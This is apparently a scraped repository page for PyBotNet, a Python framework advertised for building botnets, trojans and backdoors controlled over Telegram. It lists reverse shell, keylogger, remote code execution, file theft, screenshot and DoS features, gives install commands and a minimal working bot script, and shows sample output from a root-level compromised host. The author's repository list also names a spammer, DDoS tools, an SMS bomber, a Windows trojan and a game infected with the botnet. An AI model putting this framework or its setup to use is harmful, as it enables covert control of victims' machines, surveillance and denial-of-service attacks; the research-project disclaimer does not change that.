• Stars
    star
    244
  • Rank 165,885 (Top 4 %)
  • Language
    Python
  • License
    GNU Lesser Genera...
  • Created over 3 years ago
  • Updated 6 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

PyBotNet: A High-Level Remote Control Framework for Python with Telegram Integration

trojan horse

PyBotNet

A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.


Source Code: https://github.com/onionj/pybotnet

Documentation: https://onionj.github.io/pybotnet/

ToDo List: https://github.com/users/onionj/projects/1


Features:

  • Built in Telegram control pannel and proxy system
  • Built in scripts like:
    • reverse shell
    • put or get file
    • run python code on target systems
    • get screenshot
    • keylogger
    • dos
    • scheduler
    • ...
  • Cross platform
  • Ability to easily add custom scripts
  • Import external scripts
  • Ability to add custom control panel
  • Add remote control to your apps
  • ...

Install PyBotNet

pip3 install pybotnet -U
  • -U: make sure to upgrade framework to latest version.

The simplest PyBotNet file could look like this:

# in main.py
from pybotnet import BotNet, TelegramEngine


telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)

botnet = BotNet(telegram_engine) # (2)
botnet.run()
  1. create engine: Engines transfer messages between admin and botnet
  2. create BotNet instance

note:

  • TELEGRAM_TOKEN: You can use telegram @botfather to Create new telegram API Bot and get your TELEGRAM_TOKEN
  • ADMIN_CHAT_ID: Get it from @userinfobot telegram bot
  • PyBotNet include default scripts, like: /shell, /put_file, /get_file, /screenshot, /who, ..., you can send /help to your telegram bot and see more detail..

Run code:

python3 main.py

telegram engine

open telegram and send /who command to your bot; If you have done the steps correctly, you recive a message like this:

scripts_name:
    echo
    who
    shell
    screenshot
    put_file
    get_file
    runcode
    openurl
    dos
    schedule

mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True

you can send /help to see help page, or send /help <script_name> to recive more help about a specific script.

for example send /help screenshot, You will receive:

NAME:
screenshot

DESCRIPTION:
get screen shot
    * `[mac-address] /screenshot`
    or
    * `/screenshot`

    example command: 
        * `94945035671481 /screenshot`
        * `/screenshot` 

    return: img or img-download-link
    

script_version: 0.0.1
default_script: True

___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False

in top of message you see script name, description, syntax, and examples.

for run screenshot script you have two choice:

  • Run the script on all clients that are listening to Telegram bot (for now we have one!)
  • Run script on one specific system

for run script on all client send /screenshot.

bot if you need to get screen-shot on a specific system you need to send [mac_addres] /screenshot for our case: 228362405364 /screenshot

in some case like /shell you need to run it just for one system.

For see who we can Add custom scripts, Run in background, Running the pybotnet without coding, and etc, see the below documentation.

For more, see Documentation


Contributors ✨

Thanks goes to these wonderful people :


TorhamDev


SepehrRasouli

More Repositories

1

E-commerce-FastAPI

E-commerce API with FastAPI , tortoise orm, jwt
Python
29
star
2

whatsapp-spammer

whatsapp spammer created by selenium and python
Python
9
star
3

ddos-tols

tcp ip spoof, and udp dns APM
Python
8
star
4

smsboomber

sms boomber for Iran!
Python
8
star
5

vinet

gui trojan for windows by pybotnet and tkinter
Python
7
star
6

rshell

A reverse shell with Telegram control panel written in Go
Go
7
star
7

IP-Geolocation

Free IP Geolocation
Python
5
star
8

onionj

4
star
9

ghost_finder

finde instagram ghost follower and remove them
Python
4
star
10

drf

blog backend created by "Django Rest Framework"
Python
3
star
11

FastAPI-mini-projects

fastapi projects
Python
3
star
12

blog-fastapi-jwt

secured mini-blog CRUD app for creating and reading blog posts... authentication using JSON Web Tokens (JWTs)
Python
3
star
13

x-ui_bot

A telegram bot for reporting the status of X-UI accounts to the users
Python
2
star
14

sqlmodel-tutorial

sqlmodel orm tutorial
Python
2
star
15

light_dance

sample python light dance for Windows console !! just for fun!
Python
2
star
16

karamozi_backend

پروژه کاراموزی برای یادگیری ELK, SQL, noSQL, FastAPI/Flask, tests, nginx, code profiler, code coverage, redis
Python
2
star
17

gobookstore

mini project; bookstore REST API that provides book data and performs CRUD operations.
Go
1
star
18

learn_django

JavaScript
1
star
19

GameInfectedWithPyBotNet

This game is infected with pybotnet !
Python
1
star
20

T-leker-telegram-self-bot

Python
1
star
21

gengine

Python GenGine Frameword, CLI ASCII game engine
Python
1
star
22

websocket-broadcasting

Websocket broadcasting with Fiber and RabbitMQ
1
star
23

x-ui-load

A terminal user load panel for X-UI project (xray)
Python
1
star
24

simple_ssh

Golang TCP Terminal: Remotely Control a Command-Line Interface over the Network
Go
1
star